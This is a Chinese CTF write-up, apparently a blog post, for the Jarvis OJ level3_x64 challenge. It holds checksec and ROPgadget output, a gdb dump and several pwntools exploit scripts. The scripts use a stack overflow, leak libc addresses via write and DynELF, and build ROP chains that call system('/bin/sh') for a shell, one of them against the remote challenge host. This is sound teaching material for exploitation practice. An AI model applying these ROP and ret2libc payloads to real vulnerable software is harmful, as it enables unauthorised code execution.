欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Jarvis OJ [XMAN]level3(x64)

程序员文章站 2022-06-17 14:38:47
...
[email protected]:~/桌面/oj/level3_x64$ checksec level3_x64
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level3_x64/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只开启了NX保护。
没有system函数也没有/bin/sh字符串。

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}

栈溢出漏洞
可以用write函数来泄露
查看rop

[email protected]:~/桌面/oj/level3_x64$ ROPgadget --binary level3_x64 --only "mov|pop|ret"
Gadgets information
============================================================
0x00000000004005b3 : mov byte ptr [rip + 0x2004ce], 1 ; ret
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004005b2 : pop rbp ; mov byte ptr [rip + 0x2004ce], 1 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 13

很不幸,没有我们需要的3个寄存器rdi, rsi, rdx。
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
如果这个运行到这里的时候程序rdx有大于8的值就直接不用赋值了。先看一下如果是否成立

RAX: 0x3 
RBX: 0x0 
RCX: 0x7ffff78f0081 (<__GI___libc_read+17>: cmp    rax,0xfffffffffffff000)
RDX: 0x200 
RSI: 0x7fffffffdd20 --> 0xff0a6473 
RDI: 0x0 
RBP: 0x7fffffffdda0 --> 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdd20 --> 0xff0a6473 
RIP: 0x400618 (<vulnerable_function+50>:    leave)
R8 : 0x7ffff7bccd80 --> 0x0 
R9 : 0x7ffff7bccd80 --> 0x0 
R10: 0x4 
R11: 0x246 
R12: 0x4004f0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdea0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40060b <vulnerable_function+37>:   mov    rsi,rax
   0x40060e <vulnerable_function+40>:   mov    edi,0x0
   0x400613 <vulnerable_function+45>:   call   0x4004c0 <[email protected]>
=> 0x400618 <vulnerable_function+50>:   leave  
   0x400619 <vulnerable_function+51>:   ret    
   0x40061a <main>: push   rbp
   0x40061b <main+1>:   mov    rbp,rsp
   0x40061e <main+4>:   sub    rsp,0x10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd20 --> 0xff0a6473 
0008| 0x7fffffffdd28 --> 0x0 
0016| 0x7fffffffdd30 --> 0x7ffff7ffa268 (add    BYTE PTR ss:[rax],al)
0024| 0x7fffffffdd38 --> 0x7ffff7ffe710 --> 0x7ffff7ffa000 (jg     0x7ffff7ffa047)
0032| 0x7fffffffdd40 --> 0x0 
0040| 0x7fffffffdd48 --> 0x0 
0048| 0x7fffffffdd50 --> 0x0 
0056| 0x7fffffffdd58 --> 0x756e6547 ('Genu')

事实证明,这个时候的rdx是0x200完全够了。

from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A

def leak(address):
    #p.recv()
    p.recvuntil("Input:\n")
    payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(address)+p64(0)+p64(write_plt)+p64(main_addr)
    p.sendline(payload)
    data=p.recv(8)
    print hex(u64(data))
    #print "%#x=>%"%(address,(data or '').encode('hex'))
    return data

p=process("level3_x64")
#p=remote("pwn2.jarvisoj.com",9883)

d=DynELF(leak,elf=ELF("level3_x64"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)

这里用dynelf直接获取到了。
这种方法是获取不到libc库的,直接获取到了system函数的加载地址。没有/bin/sh 字符串。需要用bss段跳转。如果直接用read函数从键盘上读入数据写入到bss段还是需要3个寄存器,实现不了。那就不用write可以换成gets函数来实现写入数据。

from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A

def leak(address):
    #p.recv()
    p.recvuntil("Input:\n")
    payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(address)+p64(0)+p64(write_plt)+p64(main_addr)
    p.sendline(payload)
    data=p.recv(8)
    print hex(u64(data))
    #print "%#x=>%"%(address,(data or '').encode('hex'))
    return data

p=process("level3_x64")
#p=remote("pwn2.jarvisoj.com",9883)

d=DynELF(leak,elf=ELF("level3_x64"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
#raw_input()
gets_addr=d.lookup('gets','libc')
print "gets_addr"+hex(gets_addr)

bss_addr=0x0000000000600a88

#raw_input()
p.recvuntil("Input:")
payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(bss_addr)+p64(gets_addr)
payload+=p64(prdi_ret)+p64(bss_addr)+p64(system_addr)+p64(0x77777777)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

但是不知道原因,能调用system函数,并且调用的时候rdi寄存器的值还是/bin/sh。好像是因为之前泄露的东西太多了,不知道泄露到哪了。大范围泄露这种尽量少执行,我们也不知道程序会出现什么样的错误。

换一种方式,泄露函数加载位置,获取偏移来查询libc版本https://libc.blukat.me/?q=read%3A0x7fa37a92d6a0%2Cwrite%3A0x7fa37a92d700&l=libc6-amd64_2.13-20ubuntu5.2_i386

from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A

#p=process("./level3_x64")
p=remote("pwn2.jarvisoj.com",9883)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(elf.got["write"])+p64(77777777)+p64(elf.plt["write"])+p64(main_addr)
p.sendline(payload)
write_addr=u64(p.recv(8))
print "write_addr="+hex(write_addr)
#leak write_got

# p.recvuntil("Input:\n")
# payload="A"*0x88+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(elf.got["read"])+p64(77777777)+p64(elf.plt["write"])+p64(main_addr)
# p.sendline(payload)
# read_addr=u64(p.recv(8))
# print "read_addr="+hex(read_addr)
# ###leak read_addr

#libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")#local
libc=ELF("./libc-2.19.so")

system_addr=write_addr-libc.symbols["write"]+libc.symbols["system"]
bin_sh_addr=write_addr-libc.symbols["write"]+next(libc.search("/bin/sh"))
p.recvuntil("Input:\n")
payload="A"*0x88+p64(prdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0x77777777)
p.sendline(payload)


p.interactive()

这里远程连接查到的libc库不能用,不知道原因,还好给出了libc库,直接加载题目给出的库吧

相关标签: 栈溢出X64